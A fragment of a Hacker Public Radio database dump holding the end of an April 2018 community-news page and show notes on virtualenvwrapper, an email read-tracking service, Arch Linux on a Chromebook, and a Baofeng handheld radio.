valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2522\" target=\"_blank\">2522</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-04-03</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2522\" target=\"_blank\">Flashbacks In Storytelling</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2523\" target=\"_blank\">2523</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-04-04</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2523\" target=\"_blank\">Run Linux on a Windows Box</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2524\" target=\"_blank\">2524</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-04-05</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2524\" target=\"_blank\">General problem solver</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2525\" target=\"_blank\">2525</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-04-06</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2525\" target=\"_blank\">HPR 2017 New Years Eve show part 3</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2526\" target=\"_blank\">2526</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-04-09</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2526\" target=\"_blank\">Gnu Awk - Part 10</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2527\" target=\"_blank\">2527</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-04-10</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2527\" target=\"_blank\">Reviews Vs. Critiques</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2528\" target=\"_blank\">2528</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-04-11</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2528\" target=\"_blank\">CCTV with DARKNET</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2529\" target=\"_blank\">2529</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-04-12</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2529\" target=\"_blank\">What\'s in my podcatcher</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=365\" target=\"_blank\">bookewyrmm</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2530\" target=\"_blank\">2530</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-04-13</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2530\" target=\"_blank\">Introduction to Health</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2531\" target=\"_blank\">2531</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-04-16</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2531\" target=\"_blank\">Plot And Story</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2532\" target=\"_blank\">2532</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-04-17</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2532\" target=\"_blank\">Podcrawl Glasgow 2018</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=314\" target=\"_blank\">thelovebug</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2533\" target=\"_blank\">2533</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-04-18</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2533\" target=\"_blank\">Burp Suite / ABCMouse Game</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2534\" target=\"_blank\">2534</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-04-19</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2534\" target=\"_blank\">Moving to Office 365 (and painting the ceiling)</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2535\" target=\"_blank\">2535</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-04-20</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2535\" target=\"_blank\">HPR 2017 New Years Eve show part 4</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2536\" target=\"_blank\">2536</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-04-23</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2536\" target=\"_blank\">Lostnbronx examines points-of-view and tenses in storytelling.</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2537\" target=\"_blank\">2537</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-04-24</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2537\" target=\"_blank\">Recording HPR on the fly Part II</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2538\" target=\"_blank\">2538</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-04-25</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2538\" target=\"_blank\">My geeky plans for the new house.</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2539\" target=\"_blank\">2539</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-04-26</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2539\" target=\"_blank\">Interview - Austin Lee</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2540\" target=\"_blank\">2540</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-04-27</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2540\" target=\"_blank\">28 - TLS 1.3</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2541\" target=\"_blank\">2541</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-04-30</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2541\" target=\"_blank\">Microphone Wind Screen Demo</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 18 comments in total.</p>\n<p>There are 11 comments on\n4 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2254#comments\" target=\"_blank\">hpr2254</a></strong>\n(2017-03-23) \"<em>Introduction to Model Rocketry</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=334\" target=\"_blank\">Steve Saner</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2254#4\" target=\"_blank\">Comment 4</a>:\nJohn E Thompson on 2018-04-04:\n\"Great Show\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2254#5\" target=\"_blank\">Comment 5</a>:\nSteve on 2018-04-04:\n\"Re: Great Show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2485#comments\" target=\"_blank\">hpr2485</a></strong>\n(2018-02-09) \"<em>The Alien Brothers Podcast - S01E05 - I Saw the Invisible Man</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=359\" target=\"_blank\">The Alien Brothers Podcast (ABP)</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2485#1\" target=\"_blank\">Comment 1</a>:\nDraco Metallium on 2018-04-14:\n\"Two months without a new transmission\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2515#comments\" target=\"_blank\">hpr2515</a></strong>\n(2018-03-23) \"<em>HPR 2017 New Years Eve show part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2515#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2018-04-03:\n\"ASCIIDoc shownotes\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2515#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2018-04-04:\n\"Markdown/ASCIIDoc\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2515#4\" target=\"_blank\">Comment 4</a>:\nclacke on 2018-04-04:\n\"Overengineering\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2515#5\" target=\"_blank\">Comment 5</a>:\nDave Morriss on 2018-04-05:\n\"Re: Overengineering\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2515#6\" target=\"_blank\">Comment 6</a>:\nclacke on 2018-04-05:\n\"Re: Overengineering\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2518#comments\" target=\"_blank\">hpr2518</a></strong>\n(2018-03-28) \"<em>Converting My Laptop to Dual Boot</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=334\" target=\"_blank\">Steve Saner</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2518#1\" target=\"_blank\">Comment 1</a>:\nmongo on 2018-03-31:\n\"Good tutorial\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2518#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2018-04-06:\n\"Is OpenSCAD an alternative to Autodesk Fusion 360 ?\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2518#3\" target=\"_blank\">Comment 3</a>:\nSteve on 2018-04-06:\n\"Really a different category of software\"</li></ul><br/>\n</li></ul>\n<p>There are 7 comments on 4 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2521#comments\" target=\"_blank\">hpr2521</a></strong>\n(2018-04-02) \"<em>HPR Community News for March 2018</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2521#1\" target=\"_blank\">Comment 1</a>:\nthe_remora on 2018-04-02:\n\"Handle Origin\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2521#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2018-04-07:\n\"Re: AND THEN IT&#39;S GOT DIVS IN IT!!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2521#3\" target=\"_blank\">Comment 3</a>:\nKevin O&#39;Brien on 2018-04-09:\n\"My name\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2521#4\" target=\"_blank\">Comment 4</a>:\nclacke on 2018-04-12:\n\"Living the dream\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2524#comments\" target=\"_blank\">hpr2524</a></strong>\n(2018-04-05) \"<em>General problem solver</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2524#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2018-04-29:\n\"Thanks for the introduction\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2537#comments\" target=\"_blank\">hpr2537</a></strong>\n(2018-04-24) \"<em>Recording HPR on the fly Part II</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2537#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2018-03-28:\n\"An update\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2538#comments\" target=\"_blank\">hpr2538</a></strong>\n(2018-04-25) \"<em>My geeky plans for the new house.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2538#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2018-04-25:\n\"Such a beautiful soundscape\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-April/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-April/thread.html</a>\n\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=357\"><code>bjb</code></a> and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\"><code>Windigo</code></a> for sending in updates in the past month.</p>\n<p>Over the period tags and/or summaries have been added to 18 shows which were missing them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2288,'2017-05-10','Installing and using virtualenvwrapper for python',665,'Installing and using virtualenvwrapper for python, (What I learned the hard way!)','<h2 id=\"installing-virtual-env-wrapper-in-linux\">Installing Virtual env wrapper in linux</h2>\r\n<p>Best documentation I have found for working with virtualenvwrapper:<br />\r\n<a href=\"https://python-guide-pt-br.readthedocs.io/en/latest/dev/virtualenvs/\" class=\"uri\">https://python-guide-pt-br.readthedocs.io/en/latest/dev/virtualenvs/</a></p>\r\n<p>Assuming you have pip installed.</p>\r\n<ol type=\"1\">\r\n<li>Install virtualenv</li>\r\n</ol>\r\n<pre><code>    sudo -H pip install virtualenv</code></pre>\r\n<ol start=\"2\" type=\"1\">\r\n<li>Install virtualenvwrapper</li>\r\n</ol>\r\n<pre><code>    sudo -H pip install virtualenvwrapper</code></pre>\r\n<ol start=\"3\" type=\"1\">\r\n<li>Modify your .bashrc file to include that following lines:</li>\r\n</ol>\r\n<pre><code>    export WORKON_HOME=~/Envs\r\n    source /usr/local/bin/virtualenvwrapper.sh</code></pre>\r\n<ol start=\"4\" type=\"1\">\r\n<li><p>Test the commands:</p>\r\n<ul>\r\n<li><code>mkvirtualenv &lt;project_name&gt;</code></li>\r\n<li><code>rmvirtualenv &lt;project_name&gt;</code></li>\r\n<li><p><code>lsvirtualenv</code> (Lists all virtual environments you have\r\ncreated.)</p></li>\r\n<li><code>workon &lt;project_name&gt;</code></li>\r\n<li><p><code>deactivate</code></p></li>\r\n</ul></li>\r\n<li><p>Don\'t use SUDO when installing inside the virtualenv</p></li>\r\n</ol>\r\n',355,0,1,'CC-BY-SA','python, programming',0,0,1),
(2289,'2017-05-11','Sendy Send. Tell if your email has been read!!',281,'Sigflup announces sendy send, which is a mechanism to tell if people read your email.','<p><a href=\"https://ss.theadesilva.com/\" class=\"uri\">https://ss.theadesilva.com/</a></p>',115,0,0,'CC-BY-SA','HTML mail,read notification',0,0,1),
(2291,'2017-05-15','Arch on CELES',725,'Convinces you, and herself that Arch Linux on a Chromebook is a good idea!','<h1 id=\"archlinux-on-a-celes\">ArchLinux on a CELES</h1>\r\n<h4 id=\"samsung-chromebook-3\">Samsung Chromebook 3</h4>\r\n<h2 id=\"before-begining\">Before begining</h2>\r\n<ul>\r\n<li>Required tools\r\n<ul>\r\n<li>Screwdriver</li>\r\n<li>Install medium (<a href=\"https://arch-anywhere.org\">Arch-Anywhere</a>)</li>\r\n<li>USB keyboard (Built-in needs <a href=\"https://lxr.free-electrons.com/source/drivers/pinctrl/intel/pinctrl-cherryview.c\">pinctrl-cherryview.c</a>)</li>\r\n<li>Internet connecion</li>\r\n<li>Other Device (Maybe)</li>\r\n</ul></li>\r\n<li>Links\r\n<ul>\r\n<li>https://www.startpage.com/do/dsearch?query=xe500c13</li>\r\n<li>https://mrchromebox.tech/#fwscript</li>\r\n</ul></li>\r\n<li>Packages to expect/build\r\n<ul>\r\n<li><a href=\"https://aur.archlinux.org/pkgbase/linux-galliumos-braswell\">linux-galliumos-braswell</a></li>\r\n<li><a href=\"https://aur.archlinux.org/packages/galliumos-braswell-config\">galliumos-braswell-config</a></li>\r\n</ul></li>\r\n<li>Packages to consider\r\n<ul>\r\n<li><a href=\"https://wiki.archlinux.org/index.php/Modprobed-db\">modprobed-db</a> <!-- - --></li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"how-to\">How-to</h2>\r\n<ol type=\"1\">\r\n<li>Remove HW write-protect screw\r\n<ul>\r\n<li><a href=\"https://maxwyb.github.io/linux/2016/11/05/chromebook-write-protection.html\">Guide on Github by maxwyb</a></li>\r\n</ul></li>\r\n<li>Developer mode\r\n<ul>\r\n<li>Enable Developer mode</li>\r\n</ul></li>\r\n</ol>\r\n<blockquote>\r\n<p>...press, and hold the <code>Esc + F3 (Refresh) keys</code> – then press the Power button. This enters Recovery Mode...</p>\r\n</blockquote>\r\n<blockquote>\r\n<p>...press <code>Ctrl + D</code>. It will ask you to confirm, then the system will revert its state and enable Developer Mode...</p>\r\n</blockquote>\r\n<blockquote>\r\n<p>...press <code>Ctrl + Alt + F2</code> (F2 is the \"forward\" arrow on the top row, →)</p>\r\n</blockquote>\r\n<blockquote>\r\n<p>...Use <code>chronos</code> as the username...</p>\r\n</blockquote>\r\n<ol start=\"3\" type=\"1\">\r\n<li>SU &amp; FW\r\n<ul>\r\n<li>Escalate privileges. <code>sudo -i</code></li>\r\n<li><a href=\"https://mrchromebox.tech/#fwscript\">ChromeOS Firmware Utility Script</a>\r\n<ol type=\"1\">\r\n<li>Install <code>RW_LEGACY</code></li>\r\n<li>Set <code>GBB Flags</code> (1 second, SeaBIOS/Legacy)</li>\r\n<li>Remove <code>ChromeOS Bitmaps</code> (To look cool)</li>\r\n</ol></li>\r\n</ul></li>\r\n<li>OS &amp; Kernel\r\n<ul>\r\n<li>Install ArchLinux</li>\r\n<li>Install <code>yaourt</code></li>\r\n<li>Install kernel with IRQ patch:</li>\r\n<li><code>yaourt -G linux-galliumos-braswell&amp;&amp;cd !:2</code></li>\r\n<li><code>makepkg -sifCc --skipinteg</code></li>\r\n<li>Install <code>galliumos-braswell-config</code>:\r\n<ul>\r\n<li><code>yaourt -S --force galliumos-braswell-config</code></li>\r\n</ul></li>\r\n</ul></li>\r\n<li>Grub\r\n<ul>\r\n<li>Regenerate Grub configuration file\r\n<ul>\r\n<li><code>grub-mkconfig -o /boot/grub/grub.cfg</code></li>\r\n</ul></li>\r\n</ul></li>\r\n</ol>\r\n<h2 id=\"extra\">Extra</h2>\r\n<ul>\r\n<li>GREETS\r\n<ul>\r\n<li><span class=\"citation\" data-cites=\"Brbr\">@Brbr</span> of <a href=\"https://www.brakeingsecurity.com/\">BrakeSec Podcast</a> for the audio hardware</li>\r\n<li>Nick of youtube &amp; twitter fame for the Chromebook</li>\r\n<li><a href=\"infosecaddicts.com\">InfosecAddicts</a> for being good people</li>\r\n<li>Hackers everywhere for Hacking on</li>\r\n</ul></li>\r\n<li>Pods\r\n<ul>\r\n<li><a href=\"noagendashow.com\">No Agenda</a></li>\r\n<li><a href=\"https://www.jupiterbroadcasting.com/show/unfilter\">Unfilter</a></li>\r\n<li><a href=\"www.congressionaldish.com\">Congressional Dish</a></li>\r\n<li><a href=\"www.brakeingsecurity.com\">Breaking Down Security</a></li>\r\n<li><a href=\"www.embedded.fm\">Embedded</a></li>\r\n<li><a href=\"https://thedollop.libsyn.com\">The Dollop</a></li>\r\n<li><a href=\"https://www.myfavoritemurder.com/\">My Favorite Murder</a></li>\r\n<li><a href=\"https://www.originz.info/Originz/Mysteries_Abound_Show_Notes/yMysteries_Abound_Show_Notes.html\">Mysteries Abound</a></li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"sources\">Sources</h2>\r\n<blockquote>\r\n<p>/etc/default/grub</p>\r\n</blockquote>\r\n<pre><code>GRUB_DEFAULT=0\r\nGRUB_TIMEOUT=5\r\nGRUB_DISTRIBUTOR=\"Arch\"\r\nGRUB_CMDLINE_LINUX_DEFAULT=\"quiet splash irqpoll\"\r\nGRUB_CMDLINE_LINUX=\"\"\r\nGRUB_PRELOAD_MODULES=\"part_gpt part_msdos\"\r\nGRUB_TERMINAL_INPUT=console\r\nGRUB_GFXMODE=1024x768\r\nGRUB_GFXPAYLOAD_LINUX=keep\r\nGRUB_DISABLE_LINUX_UUID=true\r\nGRUB_DISABLE_RECOVERY=true\r\nGRUB_COLOR_HIGHLIGHT=\"light-cyan/blue\"\r\nGRUB_SAVEDEFAULT=\"true\"</code></pre>\r\n<blockquote>\r\n<p>/etc/pacman.conf</p>\r\n</blockquote>\r\n<pre><code>RootDir     = /\r\nDBPath      = /var/lib/pacman/\r\nCacheDir    = /var/cache/pacman/pkg/\r\nLogFile     = /var/log/pacman.log\r\nGPGDir      = /etc/pacman.d/gnupg/\r\nHookDir     = /etc/pacman.d/hooks/\r\nHoldPkg     = pacman glibc\r\nCleanMethod = KeepInstalled\r\nUseDelta    = 0.7\r\nArchitecture = auto\r\nIgnorePkg   =\r\nIgnoreGroup =\r\nNoUpgrade   =\r\nNoExtract   =\r\nUseSyslog\r\nColor\r\nTotalDownload\r\nCheckSpace\r\nVerbosePkgLists\r\nILoveCandy\r\nSigLevel = PackageRequired\r\nLocalFileSigLevel = Optional\r\nRemoteFileSigLevel = Required\r\n[core]\r\nInclude = /etc/pacman.d/mirrorlist\r\n[extra]\r\nInclude = /etc/pacman.d/mirrorlist\r\n[community]\r\nInclude = /etc/pacman.d/mirrorlist\r\n[arch-anywhere]\r\nServer = https://arch-anywhere.org/repo/$arch\r\nSigLevel = Never</code></pre>\r\n<blockquote>\r\n<p>lscpu</p>\r\n</blockquote>\r\n<pre><code>Architecture :        x86_64\r\nMode(s) opératoire(s) des processeurs : 32-bit, 64-bit\r\nBoutisme :            Little Endian\r\nProcesseur(s) :       2\r\nListe de processeur(s) en ligne : 0,1\r\nThread(s) par cœur : 1\r\nCœur(s) par socket : 2\r\nSocket(s) :           1\r\nNœud(s) NUMA :       1\r\nIdentifiant constructeur : GenuineIntel\r\nFamille de processeur : 6\r\nModèle :             76\r\nNom de modèle :      Intel(R) Celeron(R) CPU  N3050  @ 1.60GHz\r\nRévision :           3\r\nVitesse du processeur en MHz : 642.089\r\nVitesse maximale du processeur en MHz : 2160,0000\r\nVitesse minimale du processeur en MHz : 480,0000\r\nBogoMIPS :            3200.00\r\nVirtualisation :      VT-x\r\nCache L1d :           24K\r\nCache L1i :           32K\r\nCache L2 :            1024K\r\nNœud NUMA 0 de processeur(s) : 0,1\r\nFlags:                 fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology tsc_reliable nonstop_tsc aperfmperf tsc_known_freq pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm sse4_1 sse4_2 movbe popcnt tsc_deadline_timer aes rdrand lahf_lm 3dnowprefetch epb tpr_shadow vnmi flexpriority ept vpid tsc_adjust smep erms dtherm ida arat</code></pre>\r\n<blockquote>\r\n<p>lspci</p>\r\n</blockquote>\r\n<pre><code>00:00.0 Host bridge: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Series SoC Transaction Register (rev 21)\r\n00:02.0 VGA compatible controller: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Integrated Graphics Controller (rev 21)\r\n00:0b.0 Signal processing controller: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Series Power Management Controller (rev 21)\r\n00:14.0 USB controller: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Series USB xHCI Controller (rev 21)\r\n00:1b.0 Audio device: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Series High Definition Audio Controller (rev 21)\r\n00:1c.0 PCI bridge: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Series PCI Express Port #1 (rev 21)\r\n00:1c.2 PCI bridge: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Series PCI Express Port #3 (rev 21)\r\n00:1f.0 ISA bridge: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Series PCU (rev 21)\r\n02:00.0 Network controller: Intel Corporation Wireless 7265 (rev 59)</code></pre>\r\n',349,0,1,'CC-BY-SA','xe500c13,celes,chromebook,archlinux,arch',0,0,1),
(2292,'2017-05-16','Baofeng UV5R VHF/UHF Handset part 1',1306,'An in depth series about the Baofeng UV5R VHF/UHF hand-held transceiver.','<p>In this episode I give a brief introduction and demonstration of the Baofeng UV5R VHF / UHF Hand Held Transceiver</p>\r\n<ul>\r\n<li><p>General Information about radio repeaters, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Radio_repeater\" class=\"uri\">https://en.wikipedia.org/wiki/Radio_repeater</a></p></li>\r\n<li><p>Link to my local 2 Meter repeater GB3FF<br />\r\n<a href=\"https://www.csfmg.com/GB3FF.htm\" class=\"uri\">https://www.csfmg.com/GB3FF.htm</a></p></li>\r\n<li><p>The (Chinese) Radio Documentation Project<br />\r\n<a href=\"https://radiodoc.github.io/\" class=\"uri\">https://radiodoc.github.io/</a></p></li>\r\n<li><p>Link to the Free, open-source tool for programming your amateur radio. It supports a large number of manufacturers and models, as well as provides a way to interface with multiple data sources and formats.<br />\r\n<a href=\"https://chirp.danplanet.com/projects/chirp/wiki/Home\" class=\"uri\">https://chirp.danplanet.com/projects/chirp/wiki/Home</a></p></li>\r\n</ul>\r\n',201,43,0,'CC-BY-SA','Amateur Radio',0,0,1),
